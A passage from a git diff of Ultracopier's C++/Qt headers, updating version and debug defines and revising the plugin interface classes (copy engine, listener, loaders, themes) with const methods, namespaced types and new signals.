+ void newOptionValue(const QString &group,const QString &name,const QVariant &value);
+ #ifdef ULTRACOPIER_DEBUG
+ void debugInformation(const Ultracopier::DebugLevel &level, const QString& fonction, const QString& text, const QString& file, const int& ligne);
+ #endif // ULTRACOPIER_DEBUG
};
#endif // THEMES_MANAGER_H
diff --git a/Variable.h b/Variable.h
index 6e16355..66a41c2 100644
--- a/Variable.h
+++ b/Variable.h
@@ -1,8 +1,6 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
@@ -10,32 +8,44 @@
/// \brief Un-comment this next line to put ultracopier in debug mode
#define ULTRACOPIER_DEBUG
-/// \brief Max number of ligne show on the GUI
-#define ULTRACOPIER_DEBUG_MAX_GUI_LINE 5000
+#define ULTRACOPIER_DEBUG_MAX_GUI_LINE 50000 ///< \brief Max number of ligne show on the GUI
+#define ULTRACOPIER_DEBUG_MAX_ALL_SIZE 128 ///< \brief Max size (in MB) after the console/file output is dropped
+#define ULTRACOPIER_DEBUG_MAX_IMPORTANT_SIZE 150 ///< \brief Max size (in MB) after the console/file important output is dropped
/// \brief the version
-#define ULTRACOPIER_VERSION "0.3.1.0"
+#define ULTRACOPIER_VERSION "1.2.3.6"
/// \brief the windows version
-#define ULTRACOPIER_WINDOWS_VERSION 0,3,1,0
+#define ULTRACOPIER_WINDOWS_VERSION 1,2,3,6
// define if the version is portable or not
////#define ULTRACOPIER_VERSION_PORTABLE
////#define ULTRACOPIER_VERSION_PORTABLEAPPS
// define if the version is ultimate, need change only the name in the code
-//#define ULTRACOPIER_VERSION_ULTIMATE
+#define ULTRACOPIER_VERSION_ULTIMATE
+//#define ULTRACOPIER_PLUGIN_ALL_IN_ONE
+//#define ULTRACOPIER_CGMINER
+//#define ULTRACOPIER_ILLEGAL
+//#define ULTRACOPIER_MODE_SUPERCOPIER
/// \brief define time to update the speed detection update ont the interface (in ms)
#define ULTRACOPIER_TIME_INTERFACE_UPDATE 500
/** \brief How many value store to calculate the average value
* 5*ULTRACOPIER_TIME_INTERFACE_UPDATE = 5*500 to get 2.5s
* */
+#define ULTRACOPIER_MAXREMAININGTIMECOL 10
#define ULTRACOPIER_MAXVALUESPEEDSTORED 5
+#define ULTRACOPIER_MINVALUESPEED 3
+#define ULTRACOPIER_MAXVALUESPEEDSTOREDTOREMAININGTIME 120
+#define ULTRACOPIER_MINVALUESPEEDTOREMAININGTIME 10
+#define ULTRACOPIER_REMAININGTIME_BIGFILEMEGABYTEBASE10 100
/// \brief the socket name, to have unique instance of ultracopier, and pass arguments between the instance
-#define ULTRACOPIER_SOCKETNAME "ultracopier-0.3"
+#define ULTRACOPIER_SOCKETNAME "ultracopier"
/// \brief to have internet support, to communicate with the web site for update and plugins
#define ULTRACOPIER_INTERNET_SUPPORT
-/// \brief to disable plugin support to do all in one version with static Qt for the protable version
-#define ULTRACOPIER_PLUGIN_SUPPORT
+/// \brief to disable plugin support, import and remove
+#define ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+
+#define ULTRACOPIER_UPDATER_URL "http://ultracopier-update.first-world.info:10852/updater.txt"
#endif // VARIABLE_H
diff --git a/interface/FacilityInterface.h b/interface/FacilityInterface.h
index 1ced0a2..1893349 100644
--- a/interface/FacilityInterface.h
+++ b/interface/FacilityInterface.h
@@ -1,8 +1,7 @@
/** \file FacilityInterface.h
\brief Define the class of the facility engine
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef FACILITY_INTERFACE_H
#define FACILITY_INTERFACE_H
@@ -14,27 +13,32 @@
#include "../StructEnumDefinition.h"
/// \brief To define the interface, to pass the facility object from Ultracopier to the plugins without compatibility problem
+//not possible to be static, because in the plugin it's not resolved
class FacilityInterface : public QObject
{
- public:
- /// \brief To force the text re-translation
- virtual void retranslate() = 0;
- /// \brief convert size in Byte to String
- virtual QString sizeToString(const double &size) = 0;
- /// \brief convert size unit to String
- virtual QString sizeUnitToString(const SizeUnit &sizeUnit) = 0;
- /// \brief translate the text
- virtual QString translateText(const QString &text) = 0;
- /// \brief speed to string in byte per seconds
- virtual QString speedToString(const double &speed) = 0;
- /// \brief Decompose the time in second
- virtual TimeDecomposition secondsToTimeDecomposition(const quint32 &seconds) = 0;
- /// \brief have the fonctionnality
- virtual bool haveFunctionality(const QString &fonctionnality) = 0;
- /// \brief call the fonctionnality
- virtual QVariant callFunctionality(const QString &fonctionnality,const QStringList &args=QStringList()) = 0;
- /// \brief Do the simplified time
- virtual QString simplifiedRemainingTime(const quint32 &seconds) = 0;
+ public:
+ /// \brief To force the text re-translation
+ virtual void retranslate() = 0;
+ /// \brief convert size in Byte to String
+ virtual QString sizeToString(const double &size) const = 0;
+ /// \brief convert size unit to String
+ virtual QString sizeUnitToString(const Ultracopier::SizeUnit &sizeUnit) const = 0;
+ /// \brief translate the text
+ virtual QString translateText(const QString &text) const = 0;
+ /// \brief speed to string in byte per seconds
+ virtual QString speedToString(const double &speed) const = 0;
+ /// \brief Decompose the time in second
+ virtual Ultracopier::TimeDecomposition secondsToTimeDecomposition(const quint32 &seconds) const = 0;
+ /// \brief have the fonctionnality
+ virtual bool haveFunctionality(const QString &fonctionnality) const = 0;
+ /// \brief call the fonctionnality
+ virtual QVariant callFunctionality(const QString &fonctionnality,const QStringList &args=QStringList()) = 0;
+ /// \brief Do the simplified time
+ virtual QString simplifiedRemainingTime(const quint32 &seconds) const = 0;
+ /// \brief Do the simplified time
+ virtual QString ultimateUrl() const = 0;
+ /// \brief Return the software name
+ virtual QString softwareName() const = 0;
};
#endif // FACILITY_INTERFACE_H
diff --git a/interface/OptionInterface.h b/interface/OptionInterface.h
index 2be66cb..9638170 100644
--- a/interface/OptionInterface.h
+++ b/interface/OptionInterface.h
@@ -1,8 +1,7 @@
/** \file OptionInterface.h
\brief Define the class of the option engine
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef OPTION_INTERFACE_H
#define OPTION_INTERFACE_H
@@ -19,19 +18,19 @@
* **/
class OptionInterface : public QObject
{
- Q_OBJECT
- public:
- /// \brief To add option group to options
- virtual bool addOptionGroup(const QList<QPair<QString, QVariant> > &KeysList) = 0;
- /*/// \brief To remove option group to options, removed to the load plugin
- virtual bool removeOptionGroup() = 0;*/
- /// \brief To get option value
- virtual QVariant getOptionValue(const QString &variableName) = 0;
- /// \brief To set option value
- virtual void setOptionValue(const QString &variableName,const QVariant &value) = 0;
- signals:
- //void newOptionValue(QString,QVariant);-> disabled because the value will not externally changed, then useless notification
- void resetOptions();
+ Q_OBJECT
+ public:
+ /// \brief To add option group to options
+ virtual bool addOptionGroup(const QList<QPair<QString, QVariant> > &KeysList) = 0;
+ /*/// \brief To remove option group to options, removed to the load plugin
+ virtual bool removeOptionGroup() = 0;*/
+ /// \brief To get option value
+ virtual QVariant getOptionValue(const QString &variableName) const = 0;
+ /// \brief To set option value
+ virtual void setOptionValue(const QString &variableName,const QVariant &value) = 0;
+ signals:
+ //void newOptionValue(QString,QVariant);-> disabled because the value will not externally changed, then useless notification
+ void resetOptions() const;
};
#endif // OPTION_INTERFACE_H
diff --git a/interface/PluginInterface_CopyEngine.h b/interface/PluginInterface_CopyEngine.h
index fad97fe..c41be7b 100644
--- a/interface/PluginInterface_CopyEngine.h
+++ b/interface/PluginInterface_CopyEngine.h
@@ -1,8 +1,7 @@
/** \file PluginInterface_CopyEngine.h
\brief Define the interface of the plugin of type: copy engine
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef PLUGININTERFACE_COPYENGINE_H
#define PLUGININTERFACE_COPYENGINE_H
@@ -32,193 +31,181 @@
* **/
class PluginInterface_CopyEngine : public QObject
{
- Q_OBJECT
- public:
- /** \brief to send the options panel
- * \return return false if have not the options
- * \param tempWidget the widget to generate on it the options */
- virtual bool getOptionsEngine(QWidget * tempWidget) = 0;
- /** \brief to have interface widget to do modal dialog
- * \param interface to have the widget of the interface, useful for modal dialog */
- virtual void setInterfacePointer(QWidget * interface) = 0;
- /** \brief compare the current sources of the copy, with the passed arguments
- * \param sources the sources list to compares with the current sources list
- * \return true if have same sources, else false (or empty) */
- virtual bool haveSameSource(const QStringList &sources) = 0;
- /** \brief compare the current destination of the copy, with the passed arguments
- * \param destination the destination to compares with the current destination
- * \return true if have same destination, else false (or empty) */
- virtual bool haveSameDestination(const QString &destination) = 0;
-
-
- //external soft like file browser have send copy/move list to do
- /** \brief send copy without destination, ask the destination
- * \param sources the sources list to copy
- * \return true if the copy have been accepted */
- virtual bool newCopy(const QStringList &sources) = 0;
- /** \brief send copy with destination
- * \param sources the sources list to copy
- * \param destination the destination to copy
- * \return true if the copy have been accepted */
- virtual bool newCopy(const QStringList &sources,const QString &destination) = 0;
- /** \brief send move without destination, ask the destination
- * \param sources the sources list to move
- * \return true if the move have been accepted */
- virtual bool newMove(const QStringList &sources) = 0;
- /** \brief send move without destination, ask the destination
- * \param sources the sources list to move
- * \param destination the destination to move
- * \return true if the move have been accepted */
- virtual bool newMove(const QStringList &sources,const QString &destination) = 0;
- /** \brief send the new transfer list
- * \param file the transfer list */
- virtual void newTransferList(const QString &file) = 0;
-
-
- /** \brief to get byte read, use by Ultracopier for the speed calculation
- * real size transfered to right speed calculation */
- virtual quint64 realByteTransfered() = 0;
-
-
- /** \brief get the speed limitation
- * < -1 if not able, 0 if disabled */
- virtual qint64 getSpeedLimitation() = 0;
-
-
- //get user action
- /** \brief get the collision action list */
- virtual QList<QPair<QString,QString> > getCollisionAction() = 0;
- /** \brief get the collision error list */
- virtual QList<QPair<QString,QString> > getErrorAction() = 0;
-
-
- //transfer list
- /** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
- virtual void syncTransferList() = 0;
- public slots:
- //user ask ask to add folder (add it with interface ask source/destination)
- /** \brief add folder called on the interface
- * Used by manual adding */
- virtual bool userAddFolder(const CopyMode &mode) = 0;
- /** \brief add file called on the interface
- * Used by manual adding */
- virtual bool userAddFile(const CopyMode &mode) = 0;
-
-
- //action on the transfer
- /// \brief put the transfer in pause
- virtual void pause() = 0;
- /// \brief resume the transfer
- virtual void resume() = 0;
- /** \brief skip one transfer entry
- * \param id id of the file to remove */
- virtual void skip(const quint64 &id) = 0;
- /// \brief cancel all the transfer
- virtual void cancel() = 0;
-
-
- //edit the transfer list
- /** \brief remove the selected item
- * \param ids ids is the id list of the selected items */
- virtual void removeItems(const QList<int> &ids) = 0;
- /** \brief move on top of the list the selected item
- * \param ids ids is the id list of the selected items */
- virtual void moveItemsOnTop(const QList<int> &ids) = 0;
- /** \brief move up the list the selected item
- * \param ids ids is the id list of the selected items */
- virtual void moveItemsUp(const QList<int> &ids) = 0;
- /** \brief move down the list the selected item
- * \param ids ids is the id list of the selected items */
- virtual void moveItemsDown(const QList<int> &ids) = 0;
- /** \brief move on bottom of the list the selected item
- * \param ids ids is the id list of the selected items */
- virtual void moveItemsOnBottom(const QList<int> &ids) = 0;
-
-
- /** \brief give the forced mode, to export/import transfer list */
- virtual void forceMode(const CopyMode &mode) = 0;
- /// \brief export the transfer list into a file
- virtual void exportTransferList() = 0;
- /// \brief import the transfer list into a file
- virtual void importTransferList() = 0;
-
-
- /** \brief to set the speed limitation
- * -1 if not able, 0 if disabled */
- virtual bool setSpeedLimitation(const qint64 &speedLimitation) = 0;
-
-
- //action
- /// \brief to set the collision action
- virtual void setCollisionAction(const QString &action) = 0;
- /// \brief to set the error action
- virtual void setErrorAction(const QString &action) = 0;
- /* signal to implement
- signals:
- //send information about the copy
- void actionInProgess(EngineActionInProgress engineActionInProgress); //should update interface information on this event
-
- void newFolderListing(QString path);
- void newCollisionAction(QString action);
- void newErrorAction(QString action);
- void isInPause(bool isInPause);
-
- void newActionOnList(const QList<returnActionOnCopyList>&);///very important, need be temporized to group the modification to do and not flood the interface
- void syncReady();
-
- / ** \brief to get the progression for a specific file
- * \param id the id of the transfer, id send during population the transfer list
- * first = current transfered byte, second = byte to transfer * /
- void pushFileProgression(const QList<ProgressionItem> &progressionList);
- //get information about the copy
- / ** \brief to get the general progression
- * first = current transfered byte, second = byte to transfer * /
- void pushGeneralProgression(const quint64 &,const quint64 &);
-
- //when the cancel is clicked on copy engine dialog
- void cancelAll();
-
- //when can be deleted
- void canBeDeleted();
-
- //send error occurred
- void error(QString path,quint64 size,QDateTime mtime,QString error);
- //for the extra logging
- void rmPath(QString path);
- void mkPath(QString path);*/
+ Q_OBJECT
+ public:
+ /** \brief to send the options panel
+ * \return return false if have not the options
+ * \param tempWidget the widget to generate on it the options */
+ virtual bool getOptionsEngine(QWidget * tempWidget) = 0;
+ /** \brief to have interface widget to do modal dialog
+ * \param interface to have the widget of the interface, useful for modal dialog */
+ virtual void setInterfacePointer(QWidget * interface) = 0;
+ /** \brief compare the current sources of the copy, with the passed arguments
+ * \param sources the sources list to compares with the current sources list
+ * \return true if have same sources, else false (or empty) */
+ virtual bool haveSameSource(const QStringList &sources) = 0;
+ /** \brief compare the current destination of the copy, with the passed arguments
+ * \param destination the destination to compares with the current destination
+ * \return true if have same destination, else false (or empty) */
+ virtual bool haveSameDestination(const QString &destination) = 0;
+
+
+ //external soft like file browser have send copy/move list to do
+ /** \brief send copy without destination, ask the destination
+ * \param sources the sources list to copy
+ * \return true if the copy have been accepted */
+ virtual bool newCopy(const QStringList &sources) = 0;
+ /** \brief send copy with destination
+ * \param sources the sources list to copy
+ * \param destination the destination to copy
+ * \return true if the copy have been accepted */
+ virtual bool newCopy(const QStringList &sources,const QString &destination) = 0;
+ /** \brief send move without destination, ask the destination
+ * \param sources the sources list to move
+ * \return true if the move have been accepted */
+ virtual bool newMove(const QStringList &sources) = 0;
+ /** \brief send move without destination, ask the destination
+ * \param sources the sources list to move
+ * \param destination the destination to move
+ * \return true if the move have been accepted */
+ virtual bool newMove(const QStringList &sources,const QString &destination) = 0;
+ /** \brief send the new transfer list
+ * \param file the transfer list */
+ virtual void newTransferList(const QString &file) = 0;
+
+
+ /** \brief to get byte read, use by Ultracopier for the speed calculation
+ * real size transfered to right speed calculation */
+ virtual quint64 realByteTransfered() = 0;
+
+
+ /** \brief support speed limitation */
+ virtual bool supportSpeedLimitation() const = 0;
+
+ //transfer list
+ /** \brief to sync the transfer list
+ * Used when the interface is changed, useful to minimize the memory size */
+ virtual void syncTransferList() = 0;
+ public slots:
+ //user ask ask to add folder (add it with interface ask source/destination)
+ /** \brief add folder called on the interface
+ * Used by manual adding */
+ virtual bool userAddFolder(const Ultracopier::CopyMode &mode) = 0;
+ /** \brief add file called on the interface
+ * Used by manual adding */
+ virtual bool userAddFile(const Ultracopier::CopyMode &mode) = 0;
+
+
+ //action on the transfer
+ /// \brief put the transfer in pause
+ virtual void pause() = 0;
+ /// \brief resume the transfer
+ virtual void resume() = 0;
+ /** \brief skip one transfer entry
+ * \param id id of the file to remove */
+ virtual void skip(const quint64 &id) = 0;
+ /// \brief cancel all the transfer
+ virtual void cancel() = 0;
+
+
+ //edit the transfer list
+ /** \brief remove the selected item
+ * \param ids ids is the id list of the selected items */
+ virtual void removeItems(const QList<int> &ids) = 0;
+ /** \brief move on top of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ virtual void moveItemsOnTop(const QList<int> &ids) = 0;
+ /** \brief move up the list the selected item
+ * \param ids ids is the id list of the selected items */
+ virtual void moveItemsUp(const QList<int> &ids) = 0;
+ /** \brief move down the list the selected item
+ * \param ids ids is the id list of the selected items */
+ virtual void moveItemsDown(const QList<int> &ids) = 0;
+ /** \brief move on bottom of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ virtual void moveItemsOnBottom(const QList<int> &ids) = 0;
+
+
+ /** \brief give the forced mode, to export/import transfer list */
+ virtual void forceMode(const Ultracopier::CopyMode &mode) = 0;
+ /// \brief export the transfer list into a file
+ virtual void exportTransferList() = 0;
+ /// \brief export the transfer list into a file
+ virtual void exportErrorIntoTransferList() = 0;
+ /// \brief import the transfer list into a file
+ virtual void importTransferList() = 0;
+
+
+ /** \brief to set the speed limitation
+ * -1 if not able, 0 if disabled */
+ virtual bool setSpeedLimitation(const qint64 &speedLimitation) = 0;
+ // signal to implement
+ signals:
+ //send information about the copy
+ void actionInProgess(const Ultracopier::EngineActionInProgress &engineActionInProgress) const; //should update interface information on this event
+
+ void newFolderListing(const QString &path) const;
+ void isInPause(const bool &isInPause) const;
+
+ void newActionOnList(const QList<Ultracopier::ReturnActionOnCopyList>&) const;///very important, need be temporized to group the modification to do and not flood the interface
+ void doneTime(const QList<QPair<quint64,quint32> >&) const;
+ void syncReady() const;
+
+ /** \brief to get the progression for a specific file
+ * \param id the id of the transfer, id send during population the transfer list
+ * first = current transfered byte, second = byte to transfer */
+ void pushFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList) const;
+ //get information about the copy
+ /** \brief to get the general progression
+ * first = current transfered byte, second = byte to transfer */
+ void pushGeneralProgression(const quint64 &,const quint64 &) const;
+
+ //when the cancel is clicked on copy engine dialog
+ void cancelAll() const;
+
+ //when can be deleted
+ void canBeDeleted() const;
+
+ //send error occurred
+ void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error) const;
+ void errorToRetry(const QString &source,const QString &destination,const QString &error) const;
+ //for the extra logging
+ void rmPath(const QString &path) const;
+ void mkPath(const QString &path) const;
};
/// \brief To define the interface for the factory to do copy engine instance
class PluginInterface_CopyEngineFactory : public QObject
{
- Q_OBJECT
- public:
- /// \brief to get one instance
- virtual PluginInterface_CopyEngine * getInstance() = 0;
- /// \brief to set resources, writePath can be empty if read only mode
- virtual void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion) = 0;
- //get mode allowed
- /// \brief define if can copy file, folder or both
- virtual CopyType getCopyType() = 0;
- /// \brief define if can import/export or nothing
- virtual TransferListOperation getTransferListOperation() = 0;
- /// \brief define if can only copy, or copy and move
- virtual bool canDoOnlyCopy() = 0;
- /// \brief to get the supported protocols for the source
- virtual QStringList supportedProtocolsForTheSource() = 0;
- /// \brief to get the supported protocols for the destination
- virtual QStringList supportedProtocolsForTheDestination() = 0;
- /// \brief to get the options of the copy engine
- virtual QWidget * options() = 0;
- public slots:
- /// \brief to reset the options
- virtual void resetOptions() = 0;
- /// \brief to reload the translation, because the new language have been loaded
- virtual void newLanguageLoaded() = 0;
-
+ Q_OBJECT
+ public:
+ /// \brief to get one instance
+ virtual PluginInterface_CopyEngine * getInstance() = 0;
+ /// \brief to set resources, writePath can be empty if read only mode
+ virtual void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion) = 0;
+ //get mode allowed
+ /// \brief define if can copy file, folder or both
+ virtual Ultracopier::CopyType getCopyType() = 0;
+ /// \brief define if can import/export or nothing
+ virtual Ultracopier::TransferListOperation getTransferListOperation() = 0;
+ /// \brief define if can only copy, or copy and move
+ virtual bool canDoOnlyCopy() const = 0;
+ /// \brief to get the supported protocols for the source
+ virtual QStringList supportedProtocolsForTheSource() const = 0;
+ /// \brief to get the supported protocols for the destination
+ virtual QStringList supportedProtocolsForTheDestination() const = 0;
+ /// \brief to get the options of the copy engine
+ virtual QWidget * options() = 0;
+ public slots:
+ /// \brief to reset the options
+ virtual void resetOptions() = 0;
+ /// \brief to reload the translation, because the new language have been loaded
+ virtual void newLanguageLoaded() = 0;
+ signals:
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
};
-Q_DECLARE_INTERFACE(PluginInterface_CopyEngineFactory,"first-world.info.ultracopier.PluginInterface.CopyEngineFactory/0.3.0.10");
+Q_DECLARE_INTERFACE(PluginInterface_CopyEngineFactory,"first-world.info.ultracopier.PluginInterface.CopyEngineFactory/1.2.0.0");
#endif // PLUGININTERFACE_COPYENGINE_H
diff --git a/interface/PluginInterface_Listener.h b/interface/PluginInterface_Listener.h
index 5648ed8..2fbe95b 100644
--- a/interface/PluginInterface_Listener.h
+++ b/interface/PluginInterface_Listener.h
@@ -1,8 +1,7 @@
/** \file PluginInterface_Listener.h
\brief Define the interface of the plugin of type: listener
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef PLUGININTERFACE_LISTENER_H
#define PLUGININTERFACE_LISTENER_H
@@ -19,34 +18,39 @@
* */
class PluginInterface_Listener : public QObject
{
- Q_OBJECT
- public:
- /// \brief put this plugin in listen mode
- virtual void listen() = 0;
- /// \brief put close the listen
- virtual void close() = 0;
- /// \brief to get the error string
- virtual const QString errorString() = 0;
- /// \brief set the resources for the plugin
- virtual void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion) = 0;
- /// \brief to get the options widget, NULL if not have
- virtual QWidget * options() = 0;
- public slots:
- /// \brief send when copy is finished
- virtual void transferFinished(quint32 orderId,bool withError) = 0;
- /// \brief send when copy is canceled
- virtual void transferCanceled(quint32 orderId) = 0;
- /// \brief to reload the translation, because the new language have been loaded
- virtual void newLanguageLoaded() = 0;
- /* signal to implement
- signals:
- void newState(ListeningState state);
- void newCopy(quint32 orderId,QStringList sources);
- void newCopy(quint32 orderId,QStringList sources,QString destination);
- void newMove(quint32 orderId,QStringList sources);
- void newMove(quint32 orderId,QStringList sources,QString destination);*/
+ Q_OBJECT
+ public:
+ /// \brief put this plugin in listen mode
+ virtual void listen() = 0;
+ /// \brief put close the listen
+ virtual void close() = 0;
+ /// \brief to get the error string
+ virtual const QString errorString() const = 0;
+ /// \brief set the resources for the plugin
+ virtual void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion) = 0;
+ /// \brief to get the options widget, NULL if not have
+ virtual QWidget * options() = 0;
+ /// \brief to get a client list
+ virtual QStringList clientsList() const = 0;
+ public slots:
+ /// \brief send when copy is finished
+ virtual void transferFinished(const quint32 &orderId,const bool &withError) = 0;
+ /// \brief send when copy is canceled
+ virtual void transferCanceled(const quint32 &orderId) = 0;
+ /// \brief to reload the translation, because the new language have been loaded
+ virtual void newLanguageLoaded() = 0;
+ signals:
+ void newState(const Ultracopier::ListeningState &state) const;
+ void newCopyWithoutDestination(const quint32 &orderId,const QStringList &sources) const;
+ void newCopy(const quint32 &orderId,const QStringList &sources,const QString &destination) const;
+ void newMoveWithoutDestination(const quint32 &orderId,const QStringList &sources) const;
+ void newMove(const quint32 &orderId,const QStringList &sources,const QString &destination) const;
+ void error(const QString &error) const;
+ void newClientList() const;
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
};
-Q_DECLARE_INTERFACE(PluginInterface_Listener,"first-world.info.ultracopier.PluginInterface.Listener/0.3.0.8");
+Q_DECLARE_INTERFACE(PluginInterface_Listener,"first-world.info.ultracopier.PluginInterface.Listener/1.0.0.0");
#endif // PLUGININTERFACE_LISTENER_H
diff --git a/interface/PluginInterface_PluginLoader.h b/interface/PluginInterface_PluginLoader.h
index 22f42ce..71d5935 100644
--- a/interface/PluginInterface_PluginLoader.h
+++ b/interface/PluginInterface_PluginLoader.h
@@ -1,8 +1,7 @@
/** \file PluginInterface_PluginLoader.h
\brief Define the interface of the plugin of type: plugin loader
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef PLUGININTERFACE_PLUGINLOADER_H
#define PLUGININTERFACE_PLUGINLOADER_H
@@ -17,22 +16,24 @@
* */
class PluginInterface_PluginLoader : public QObject
{
- Q_OBJECT
- public:
- /// \brief try enable/disable the catching
- virtual void setEnabled(bool) = 0;
- /// \brief to set resources, writePath can be empty if read only mode
- virtual void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion) = 0;
- /// \brief to get the options widget, NULL if not have
- virtual QWidget * options() = 0;
- public slots:
- /// \brief to reload the translation, because the new language have been loaded
- virtual void newLanguageLoaded() = 0;
- /* signal to implement
- signals:
- void newState(CatchState);*/
+ Q_OBJECT
+ public:
+ /// \brief try enable/disable the catching
+ virtual void setEnabled(const bool &enabled) = 0;
+ /// \brief to set resources, writePath can be empty if read only mode
+ virtual void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion) = 0;
+ /// \brief to get the options widget, NULL if not have
+ virtual QWidget * options() = 0;
+ public slots:
+ /// \brief to reload the translation, because the new language have been loaded
+ virtual void newLanguageLoaded() = 0;
+ // signal to implement
+ signals:
+ void newState(const Ultracopier::CatchState &catchstate) const;
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
};
-Q_DECLARE_INTERFACE(PluginInterface_PluginLoader,"first-world.info.ultracopier.PluginInterface.PluginLoader/0.3.0.8");
+Q_DECLARE_INTERFACE(PluginInterface_PluginLoader,"first-world.info.ultracopier.PluginInterface.PluginLoader/1.0.0.0");
#endif // PLUGININTERFACE_PLUGINLOADER_H
diff --git a/interface/PluginInterface_SessionLoader.h b/interface/PluginInterface_SessionLoader.h
index e73c9e3..85b9b22 100644
--- a/interface/PluginInterface_SessionLoader.h
+++ b/interface/PluginInterface_SessionLoader.h
@@ -1,8 +1,7 @@
/** \file PluginInterface_SessionLoader.h
\brief Define the interface of the plugin of type: session loader
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef PLUGININTERFACE_SESSIONLOADER_H
#define PLUGININTERFACE_SESSIONLOADER_H
@@ -17,20 +16,24 @@
* */
class PluginInterface_SessionLoader : public QObject
{
- public:
- /// \brief set enabled/disabled
- virtual void setEnabled(bool) = 0;
- /// \brief get if is enabled
- virtual bool getEnabled() = 0;
- /// \brief set the resources
- virtual void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion) = 0;
- /// \brief to get the options widget, NULL if not have
- virtual QWidget * options() = 0;
- public slots:
- /// \brief to reload the translation, because the new language have been loaded
- virtual void newLanguageLoaded() = 0;
+ Q_OBJECT
+ public:
+ /// \brief set enabled/disabled
+ virtual void setEnabled(const bool &enabled) = 0;
+ /// \brief get if is enabled
+ virtual bool getEnabled() const = 0;
+ /// \brief set the resources
+ virtual void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion) = 0;
+ /// \brief to get the options widget, NULL if not have
+ virtual QWidget * options() = 0;
+ public slots:
+ /// \brief to reload the translation, because the new language have been loaded
+ virtual void newLanguageLoaded() = 0;
+ signals:
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
};
-Q_DECLARE_INTERFACE(PluginInterface_SessionLoader,"first-world.info.ultracopier.PluginInterface.SessionLoader/0.3.0.8");
+Q_DECLARE_INTERFACE(PluginInterface_SessionLoader,"first-world.info.ultracopier.PluginInterface.SessionLoader/1.0.0.0");
#endif // PLUGININTERFACE_SESSIONLOADER_H
diff --git a/interface/PluginInterface_Themes.h b/interface/PluginInterface_Themes.h
index cfdb719..7d8c3f6 100644
--- a/interface/PluginInterface_Themes.h
+++ b/interface/PluginInterface_Themes.h
@@ -1,8 +1,7 @@
/** \file PluginInterface_Themes.h
\brief Define the interface of the plugin of type: copy engine
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef PLUGININTERFACE_THEMES_H
#define PLUGININTERFACE_THEMES_H
@@ -24,100 +23,95 @@
* */
class PluginInterface_Themes : public QWidget
{
- Q_OBJECT
- public slots:
- //send information about the copy
- /// \brief to set the action in progress
- virtual void actionInProgess(EngineActionInProgress) = 0;
+ Q_OBJECT
+ public slots:
+ //send information about the copy
+ /// \brief to set the action in progress
+ virtual void actionInProgess(const Ultracopier::EngineActionInProgress&) = 0;
- /// \brief the new folder is listing
- virtual void newFolderListing(const QString &path) = 0;
- /** \brief show the detected speed
- * in byte per seconds */
- virtual void detectedSpeed(const quint64 &speed) = 0;
- /** \brief show the remaining time
- * time in seconds */
- virtual void remainingTime(const int &remainingSeconds) = 0;
- /// \brief set the current collision action
- virtual void newCollisionAction(const QString &action) = 0;
- /// \brief set the current error action
- virtual void newErrorAction(const QString &action) = 0;
- /// \brief set one error is detected
- virtual void errorDetected() = 0;
- /** \brief the max speed used
- * in byte per seconds, -1 if not able, 0 if disabled */
- virtual bool setSpeedLimitation(const qint64 &speedLimitation) = 0;
- /// \brief get action on the transfer list (add/move/remove)
- virtual void getActionOnList(const QList<returnActionOnCopyList> &returnActions) = 0;
- /// \brief show the general progression
- virtual void setGeneralProgression(const quint64 &current,const quint64 &total) = 0;
- /// \brief show the file progression
- virtual void setFileProgression(const QList<ProgressionItem> &progressionList) = 0;
- public:
- /// \brief get the widget for the copy engine
- virtual QWidget * getOptionsEngineWidget() = 0;
- /// \brief to set if the copy engine is found
- virtual void getOptionsEngineEnabled(bool isEnabled) = 0;
- /// \brief set collision action
- virtual void setCollisionAction(const QList<QPair<QString,QString> > &collisionActionList) = 0;
- /// \brief set error action
- virtual void setErrorAction(const QList<QPair<QString,QString> > &errorActionList) = 0;
- /// \brief set the copyType -> file or folder
- virtual void setCopyType(CopyType) = 0;
- /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
- virtual void forceCopyMode(CopyMode) = 0;
- /// \brief set if transfer list is exportable/importable
- virtual void setTransferListOperation(TransferListOperation transferListOperation) = 0;
- /** \brief set if the order is external (like file manager copy)
- * to notify the interface, which can hide add folder/filer button */
- virtual void haveExternalOrder() = 0;
- /// \brief set if is in pause
- virtual void isInPause(bool) = 0;
- /* signal to implement
- signals:
- //set the transfer list
